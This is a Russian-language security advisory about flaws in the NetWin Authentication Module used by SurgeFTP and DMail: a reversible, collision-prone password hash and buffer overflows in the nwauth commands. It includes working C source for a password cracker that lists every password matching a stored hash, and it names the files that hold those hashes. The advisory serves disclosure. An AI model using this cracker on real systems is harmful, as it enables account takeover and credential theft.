Описание: |
NWAuth module используется многими продуктами например DMail, SurgeFTP и др.
Тестирование производилось на SurgeFTP. В нем найдено несколько уязвимостей:
1. ' NetWin Authentication Module ', который используется SurgeFTP, DMail и
другими программами, использует весьма 'необычный' алгоритм хеширования, чтобы
сохранить hash пароля. Но алгоритм может быть испорчен, по крайней мере, двумя
способами:
а) ХЕШ пароля может быть расшифрован
б) один хеш может соответствовать более чем одному паролю, т.е один пользователь
может иметь несколько миллионов паролей помимо того, который был ему фактически
назначен.
К счастью, SurgeFTP имеет некоторые методы anti-hammering, для того, чтобы
предотвратить bruteforcing. Что касается расшифровки, ниже приложенный исходник,
генерирует все возможные пароли для данного хеша. Хеш пароля, используемый в
SurgeFTP может быть найден в пределах файлов \surgeftp\admin.dat (sysadmin
паролем) и \surgeftp\nwauth.clg (пользовательские пароли).
2. NetWin Authentication Module содержит переполнение буфера в следующих
командах:
a) Nwauth-del команда вызывает нарушение прав доступа , если она передается с
длинным именем пользователя. Это не так страшно, так как эту команду могут
использовать только администраторы.
б) nwauth – lookup команда поиска вызывает нарушение прав доступа, когда имя
пользователя превышает 1000 символов, что может быть вызвано нападавшим, если
программа передаст это имя пользователя от команды 1 "USER".
Исходник для генерации паролей:
#include <string.h>
#include <stdio.h>
FILE *fh;
/* the following table indices refer to the characters our
generated password may consist of (true/false), since
we don't want to go into too much trouble when typing
everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};
/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
int heavycrypt0;
unsigned int num=0, i, x;
unsigned char j[256], decrypted[256];
for(i=0; i<256;i++) { j[i] = 0; }
brute:
heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];
for(i=0; i+2 < strlen(encrypted); i++) {
for(x=j[i]; x < 256; x++) {
if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {
decrypted[i] = x;
break;
}
}
if (x == 256) {
next:
if (i == 0) return num;
if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
for (i=x; i < 256; i++) { j[i] = 0; }
goto brute;
}
heavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
}
decrypted[i] = '\x00';
num++;
printf("%s\n", decrypted);
if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
for (i=x; i < 256; i++) { j[i] = 0; }
goto brute;
}
/* DECRYPTION ALGORITHMS END */
void main(int argc, char ** argv) {
char buf[256]; int k, l;
printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");
if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
printf("%s ->\n",argv[1]);
printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
}
|